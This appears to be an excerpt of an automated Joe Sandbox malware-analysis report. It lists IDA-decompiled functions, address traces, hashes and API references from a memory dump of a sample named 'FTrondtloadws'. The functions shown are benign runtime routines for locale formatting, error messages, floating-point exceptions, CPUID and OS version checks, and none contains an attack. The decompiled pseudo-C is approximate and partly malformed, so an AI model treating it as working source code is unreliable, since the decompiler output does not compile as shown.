0x00cee67e
0x00cee681
0x00cee684
0x00cee8b6
0x00cee8b6
0x00cee68a
0x00cee68a
0x00cee690
0x00cee693
0x00cee696
0x00cee699
0x00cee69c
0x00cee69f
0x00cee6a2
0x00cee6a2
0x00cee6a5
0x00cee6ac
0x00cee6ac
0x00cee6a7
0x00cee6a7
0x00cee6a7
0x00cee6ae
0x00cee6b2
0x00cee6b5
0x00cee6b7
0x00cee6ba
0x00cee6c1
0x00cee6c4
0x00cee6c7
0x00cee6d2
0x00cee6d5
0x00cee6da
0x00cee6df
0x00cee6e6
0x00cee6eb
0x00cee6ed
0x00cee6ef
0x00cee6f3
0x00cee6f6
0x00cee6f9
0x00cee701
0x00cee70a
0x00cee70a
0x00cee70c
0x00cee70f
0x00cee70f
0x00cee6f9
0x00cee719
0x00cee71e
0x00cee723
0x00cee725
0x00cee728
0x00cee72a
0x00cee72d
0x00cee730
0x00cee732
0x00cee735
0x00cee738
0x00cee73a
0x00cee741
0x00cee746
0x00cee749
0x00cee753
0x00cee755
0x00cee757
0x00cee75a
0x00cee75a
0x00cee75c
0x00cee75f
0x00cee762
0x00cee765
0x00cee768
0x00cee73c
0x00cee73c
0x00cee73f
0x00000000
0x00000000
0x00cee73f
0x00cee76b
0x00cee76d
0x00cee76f
0x00000000
0x00cee771
0x00cee771
0x00cee774
0x00cee776
0x00cee776
0x00cee784
0x00cee787
0x00cee78c
0x00cee78e
0x00000000
0x00000000
0x00cee790
0x00cee797
0x00cee797
0x00cee79a
0x00cee79d
0x00cee7a0
0x00cee7a3
0x00cee7a3
0x00cee7a6
0x00cee7a9
0x00cee7ad
0x00cee7b0
0x00cee7b2
0x00cee7b5
0x00000000
0x00000000
0x00cee7b7
0x00cee7b5
0x00cee792
0x00cee792
0x00cee795
0x00000000
0x00000000
0x00000000
0x00000000
0x00cee795
0x00cee7bc
0x00cee7bc
0x00000000
0x00cee7bc
0x00cee7b9
0x00000000
0x00cee7b9
0x00cee774
0x00cee76f
0x00cee7bf
0x00cee7bf
0x00cee7c1
0x00cee7cb
0x00cee7cb
0x00cee7ce
0x00cee7d0
0x00cee7d2
0x00cee7d4
0x00cee7d9
0x00cee7dc
0x00cee7dc
0x00cee7df
0x00cee7e2
0x00cee7e5
0x00cee7e7
0x00cee7fc
0x00cee7fe
0x00cee800
0x00cee802
0x00cee804
0x00cee806
0x00cee808
0x00cee80a
0x00cee80d
0x00cee80d
0x00cee811
0x00cee813
0x00cee819
0x00cee81c
0x00cee81c
0x00cee81c
0x00cee820
0x00cee820
0x00cee825
0x00cee828
0x00cee828
0x00cee82d
0x00cee82f
0x00cee831
0x00cee838
0x00cee838
0x00cee83a
0x00cee83f
0x00cee841
0x00cee844
0x00cee844
0x00cee847
0x00cee850
0x00cee850
0x00cee852
0x00cee852
0x00cee857
0x00cee85d
0x00cee861
0x00cee864
0x00cee867
0x00cee869
0x00cee869
0x00cee869
0x00cee86e
0x00cee86e
0x00cee871
0x00cee874
0x00cee833
0x00cee833
0x00cee836
0x00000000
0x00000000
0x00cee836
0x00cee831
0x00cee87b
0x00cee87b
0x00cee87c
0x00cee7c3
0x00cee7c3
0x00cee7c5
0x00000000
0x00000000
0x00cee7c5
0x00cee88c
0x00cee891
0x00cee894
0x00cee898
0x00cee899
0x00cee89c
0x00cee89f
0x00cee8a0
0x00cee8a3
0x00cee8a6
0x00cee8a9
0x00cee8ac
0x00cee8ac
0x00cee8b4
0x00cee8bb
0x00cee8bc
0x00cee8be
0x00cee8c0
0x00cee8c2
0x00cee8c5
0x00cee8d0
0x00cee8d0
0x00cee8d6
0x00cee8d6
0x00cee8d9
0x00cee8da
0x00cee8da
0x00cee8d0
0x00cee8de
0x00cee8e0
0x00cee8e2
0x00cee8e4
0x00cee8e4
0x00cee8e6
0x00cee8ea
0x00000000
0x00000000
0x00cee8ec
0x00cee8ec
0x00cee8ef
0x00cee8f1
0x00000000
0x00000000
0x00000000
0x00cee8f1
0x00cee8e4
0x00cee8f3
0x00cee8fd
0x00000000
0x00000000
0x00000000
0x00cee608
0x00cee492
0x00cee492
0x00cee492
0x00cee495
0x00cee498
0x00cee49b
0x00cee4cc
0x00cee4ce
0x00cee519
0x00cee51b
0x00cee522
0x00cee529
0x00cee52c
0x00cee52f
0x00cee535
0x00cee535
0x00cee536
0x00cee539
0x00cee540
0x00cee549
0x00cee54e
0x00cee551
0x00cee556
0x00cee559
0x00cee55b
0x00cee560
0x00cee563
0x00cee566
0x00cee566
0x00cee566
0x00cee56a
0x00cee56d
0x00cee56d
0x00cee572
0x00cee572
0x00cee57d
0x00cee588
0x00cee588
0x00cee58b
0x00cee597
0x00cee59c
0x00cee5a7
0x00cee5a9
0x00cee5ab
0x00cee5b1
0x00cee5b6
0x00cee5b8
0x00cee5be
0x00cee4d0
0x00cee4dc
0x00cee4dc
0x00cee4df
0x00cee4ef
0x00cee4f5
0x00cee4fc
0x00cee4fe
0x00cee506
0x00cee508
0x00cee50a
0x00cee50f
0x00cee512
0x00cee518
0x00cee518
0x00cee49d
0x00cee4a0
0x00cee4a4
0x00cee4aa
0x00cee4b9
0x00cee4c3
0x00cee4cb
0x00cee4cb
0x00cee49b
0x00cee476
0x00cee479
0x00cee47f
0x00cee47f
0x00cee465
0x00cee46b
0x00cee46b

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d08e2bcb8369247a90beecc4ac2937ecc20121a35f50d3dd5c946701bfc99d8e
Instruction ID: c109efe7576e395f8abc0da9ed5e6f922d595adaf63347dec5cc8d91cc870220
Opcode Fuzzy Hash: d08e2bcb8369247a90beecc4ac2937ecc20121a35f50d3dd5c946701bfc99d8e
Instruction Fuzzy Hash: 81022F71E002599BDF24CFAAC8806ADB7F5FF58354F258169E919E7384D731AE41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00CDBFAF Relevance: 3.0, APIs: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDBFAF(signed int _a4, signed int _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				short* _t23;
				int _t24;

				if( *0xd0073c == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0xd21ce8 = _v304;
					 *0xd21cea = 0;
					 *0xd0073c = 0xd21ce8;
				}
				E00CD17C3(_a4, _a8,  &_v104, 0x32);
				_t23 = _a12;
				_t24 = _a16;
				 *_t23 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0xd0072c, _t23, _t24);
				 *((short*)(_t23 + _t24 * 2 - 2)) = 0;
				return 0;
			}

0x00cdbfc7
0x00cdbfd5
0x00cdbfe2
0x00cdbfea
0x00cdbff0
0x00cdbff0
0x00cdc006
0x00cdc00b
0x00cdc010
0x00cdc01a
0x00cdc024
0x00cdc02c
0x00cdc035

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00CDBFD5
GetNumberFormatW.KERNEL32 ref: 00CDC024

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: b1adc1812f0bf89e4bcc54f3f1f92c6e7515e0b46f9ce612c85351ad96f49791
Instruction ID: cb88e679196637457d5355f9402e47be6c6a9ed178a556ccbc440be831262cbc
Opcode Fuzzy Hash: b1adc1812f0bf89e4bcc54f3f1f92c6e7515e0b46f9ce612c85351ad96f49791
Instruction Fuzzy Hash: 39015E39140308BAD710CFA4DC45F9E7BBCFF68710F108422BA15E7290D370A955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00CC7707 Relevance: 3.0, APIs: 2, Instructions: 16
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CC7707(WCHAR* _a4, long _a8) {
				long _t5;

				_t5 = GetLastError();
				if(_t5 == 0) {
					return 0;
				}
				return FormatMessageW(0x1200, 0, _t5, 0x400, _a4, _a8, 0) & 0xffffff00 | _t7 != 0x00000000;
			}

0x00cc7707
0x00cc770f
0x00000000
0x00cc7735
0x00000000

APIs

GetLastError.KERNEL32(00CC7866,?,00000400), ref: 00CC7707
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00CC7728

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 97677fc66e6828f6f3d392bbd2a34d67fd4a8f07241771676c585c866fcd5396
Instruction ID: 9c4d70e359a8fe9deabb88400000ba5e7e10363ae8f083eb992cbeea51c558c5
Opcode Fuzzy Hash: 97677fc66e6828f6f3d392bbd2a34d67fd4a8f07241771676c585c866fcd5396
Instruction Fuzzy Hash: D6D0A931348300BBFA020E309C4AF3F3798BB00B42F10C008B310E80E0DA708060EB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00CF2A04 Relevance: 1.8, APIs: 1, Instructions: 269
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00CF2A04(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E00CF0362(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E00CF02C8(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x00cf2a12
0x00cf2a19
0x00cf2a1e
0x00cf2a24
0x00cf2a27
0x00cf2a2d
0x00cf2a32
0x00cf2a37
0x00cf2a37
0x00cf2a3d
0x00cf2a42
0x00cf2a47
0x00cf2a47
0x00cf2a4e
0x00cf2a53
0x00cf2a58
0x00cf2a58
0x00cf2a5f
0x00cf2a64
0x00cf2a69
0x00cf2a69
0x00cf2a70
0x00cf2a75
0x00cf2a7a
0x00cf2a7a
0x00cf2a82
0x00cf2a92
0x00cf2aa4
0x00cf2ab6
0x00cf2ac9
0x00cf2adb
0x00cf2ae3
0x00cf2ae8
0x00cf2aed
0x00cf2aed
0x00cf2af4
0x00cf2af9
0x00cf2af9
0x00cf2b00
0x00cf2b05
0x00cf2b05
0x00cf2b0c
0x00cf2b11
0x00cf2b11
0x00cf2b18
0x00cf2b1d
0x00cf2b1d
0x00cf2b27
0x00cf2b29
0x00cf2b63
0x00cf2b2b
0x00cf2b30
0x00cf2b54
0x00cf2b5c
0x00cf2b50
0x00cf2b50
0x00cf2b66
0x00cf2b6d
0x00cf2b6f
0x00cf2b91
0x00cf2b99
0x00cf2b9c
0x00cf2b9c
0x00cf2b9e
0x00cf2b9e
0x00cf2ba9
0x00cf2baf
0x00cf2bb4
0x00cf2bbb
0x00cf2bf5
0x00cf2c00
0x00cf2c06
0x00cf2c09
0x00cf2c0c
0x00cf2c18
0x00cf2c20
0x00cf2bbd
0x00cf2bc0
0x00cf2bcc
0x00cf2bd2
0x00cf2bd8
0x00cf2bdb
0x00cf2be4
0x00cf2be4
0x00cf2c23
0x00cf2c31
0x00cf2c37
0x00cf2c3e
0x00cf2c40
0x00cf2c40
0x00cf2c47
0x00cf2c49
0x00cf2c49
0x00cf2c50
0x00cf2c52
0x00cf2c52
0x00cf2c59
0x00cf2c5b
0x00cf2c5b
0x00cf2c62
0x00cf2c64
0x00cf2c64
0x00cf2c71
0x00cf2c74
0x00cf2cab
0x00cf2c76
0x00cf2c76
0x00cf2c79
0x00cf2ca4
0x00cf2c99
0x00cf2c99
0x00cf2cad
0x00cf2cb5
0x00cf2cb8
0x00cf2cd7
0x00cf2cdc
0x00cf2cdc
0x00cf2cde
0x00cf2ce3
0x00cf2cef
0x00cf2ce5
0x00cf2ce8
0x00cf2ce8
0x00cf2cf4
0x00cf2cf4
0x00cf2cba
0x00cf2cbd
0x00cf2ccc
0x00000000
0x00cf2ccc
0x00cf2cbf
0x00cf2cc2
0x00cf2cc4
0x00cf2cc4
0x00000000
0x00cf2cc2
0x00cf2c7b
0x00cf2c7e
0x00cf2c94
0x00000000
0x00cf2c94
0x00cf2c83
0x00cf2c85
0x00cf2c85
0x00cf2c83
0x00000000
0x00cf2c74
0x00cf2b76
0x00cf2b84
0x00cf2b8c
0x00000000
0x00cf2b8c
0x00cf2b7a
0x00cf2b7f
0x00cf2b7f
0x00000000
0x00cf2b7a
0x00cf2b37
0x00cf2b45
0x00cf2b4d
0x00000000
0x00cf2b4d
0x00cf2b3b
0x00cf2b40
0x00cf2b40
0x00cf2b3b

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00CF29FF,?,?,00000008,?,?,00CF269F,00000000), ref: 00CF2C31

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: ded4d6137a23add60b7b5f85690b787c39f2db4d04ca60ccc3a7f4836dc0e7f1
Instruction ID: cb4060bc57286d8732f204d1b2f77021a87f15abdb0f399ba1d1602b158b94d7
Opcode Fuzzy Hash: ded4d6137a23add60b7b5f85690b787c39f2db4d04ca60ccc3a7f4836dc0e7f1
Instruction Fuzzy Hash: 01B15031110609DFE759CF28C48AB697BE0FF45364F258658E9AACF2A1C335DA82CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00CE0676 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00CE0676(signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t66;
				signed int _t67;
				signed int _t73;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				signed int _t78;
				intOrPtr* _t82;
				signed int _t85;
				signed int _t90;
				intOrPtr* _t93;
				signed int _t96;
				signed int _t104;

				_t90 = __edx;
				 *0xd23d58 =  *0xd23d58 & 0x00000000;
				 *0xd007a0 =  *0xd007a0 | 0x00000001;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L23:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_t74);
				_t93 =  &_v40;
				asm("cpuid");
				_t75 = _t74;
				 *_t93 = 0;
				 *((intOrPtr*)(_t93 + 4)) = _t74;
				 *((intOrPtr*)(_t93 + 8)) = 0;
				 *(_t93 + 0xc) = _t90;
				_v16 = _v40;
				_v8 = _v28 ^ 0x49656e69;
				_v12 = _v32 ^ 0x6c65746e;
				_push(_t75);
				asm("cpuid");
				_t77 =  &_v40;
				 *_t77 = 1;
				 *((intOrPtr*)(_t77 + 4)) = _t75;
				 *((intOrPtr*)(_t77 + 8)) = 0;
				 *(_t77 + 0xc) = _t90;
				if((_v8 | _v12 | _v36 ^ 0x756e6547) != 0) {
					L9:
					_t96 =  *0xd23d5c;
					L10:
					_t85 = _v32;
					_t60 = 7;
					_v8 = _t85;
					if(_v16 < _t60) {
						_t78 = _v20;
					} else {
						_push(_t77);
						asm("cpuid");
						_t82 =  &_v40;
						 *_t82 = _t60;
						 *((intOrPtr*)(_t82 + 4)) = _t77;
						 *((intOrPtr*)(_t82 + 8)) = 0;
						_t85 = _v8;
						 *(_t82 + 0xc) = _t90;
						_t78 = _v36;
						if((_t78 & 0x00000200) != 0) {
							 *0xd23d5c = _t96 | 0x00000002;
						}
					}
					_t61 =  *0xd007a0; // 0x6f
					_t62 = _t61 | 0x00000002;
					 *0xd23d58 = 1;
					 *0xd007a0 = _t62;
					if((_t85 & 0x00100000) != 0) {
						_t63 = _t62 | 0x00000004;
						 *0xd23d58 = 2;
						 *0xd007a0 = _t63;
						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
							asm("xgetbv");
							_v24 = _t63;
							_v20 = _t90;
							_t104 = 6;
							if((_v24 & _t104) == _t104) {
								_t66 =  *0xd007a0; // 0x6f
								_t67 = _t66 | 0x00000008;
								 *0xd23d58 = 3;
								 *0xd007a0 = _t67;
								if((_t78 & 0x00000020) != 0) {
									 *0xd23d58 = 5;
									 *0xd007a0 = _t67 | 0x00000020;
									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
										 *0xd007a0 =  *0xd007a0 | 0x00000040;
										 *0xd23d58 = _t104;
									}
								}
							}
						}
					}
					goto L23;
				}
				_t73 = _v40 & 0x0fff3ff0;
				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
					_t96 =  *0xd23d5c | 0x00000001;
					 *0xd23d5c = _t96;
					goto L10;
				} else {
					goto L9;
				}
			}

0x00ce0676
0x00ce0679
0x00ce0683
0x00ce0694
0x00ce0846
0x00ce0849
0x00ce0849
0x00ce069a
0x00ce06a0
0x00ce06a5
0x00ce06a9
0x00ce06ad
0x00ce06af
0x00ce06b1
0x00ce06b4
0x00ce06b9
0x00ce06c2
0x00ce06d3
0x00ce06de
0x00ce06e4
0x00ce06e5
0x00ce06eb
0x00ce06ee
0x00ce06f8
0x00ce06fb
0x00ce06fe
0x00ce0701
0x00ce0746
0x00ce0746
0x00ce074c
0x00ce074c
0x00ce0751
0x00ce0752
0x00ce0758
0x00ce078a
0x00ce075a
0x00ce075c
0x00ce075d
0x00ce0763
0x00ce0766
0x00ce0768
0x00ce076b
0x00ce076e
0x00ce0771
0x00ce0774
0x00ce077d
0x00ce0782
0x00ce0782
0x00ce077d
0x00ce078d
0x00ce0792
0x00ce0795
0x00ce079f
0x00ce07aa
0x00ce07b0
0x00ce07b3
0x00ce07bd
0x00ce07c8
0x00ce07d4
0x00ce07d7
0x00ce07da
0x00ce07e5
0x00ce07ea
0x00ce07ec
0x00ce07f1
0x00ce07f4
0x00ce07fe
0x00ce0806
0x00ce080b
0x00ce0815
0x00ce0823
0x00ce0836
0x00ce083d
0x00ce083d
0x00ce0823
0x00ce0806
0x00ce07ea
0x00ce07c8
0x00000000
0x00ce0845
0x00ce0706
0x00ce0710
0x00ce073b
0x00ce073e
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00CE068C

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 22f7ae3717e21b7230c9a15578589922dd24dc5993faa96ebdcef575116e00f8
Instruction ID: fcec2bf95d09f4c10fccb12f33468b3f7bcd271451a8929bd3759f7631a12d5d
Opcode Fuzzy Hash: 22f7ae3717e21b7230c9a15578589922dd24dc5993faa96ebdcef575116e00f8
Instruction Fuzzy Hash: 97516471A113959FDB24CF55D8917AABBF0FB94310F24842AD455EB350D3B8AA80CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00CCC345 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CCC345() {
				struct _OSVERSIONINFOW _v280;
				void* __ebp;
				char _t8;
				void* _t11;

				if( *0xd030dc != 0) {
					return  *0xd030dd;
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t11 = _v280.dwMajorVersion - 0xa;
					if(_t11 > 0 || _t11 == 0 && _v280.dwBuildNumber >= 0x55f0 && E00CCC3D7() == 0) {
						_t8 = 1;
					} else {
						_t8 = 0;
					}
					 *0xd030dd = _t8;
					 *0xd030dc = 1;
					return _t8;
				}
			}

0x00ccc355
0x00ccc3a8
0x00ccc357
0x00ccc35d
0x00ccc368
0x00ccc36e
0x00ccc375
0x00ccc392
0x00ccc38e
0x00ccc38e
0x00ccc38e
0x00ccc394
0x00ccc399
0x00ccc3a1
0x00ccc3a1

APIs

GetVersionExW.KERNEL32(?), ref: 00CCC368

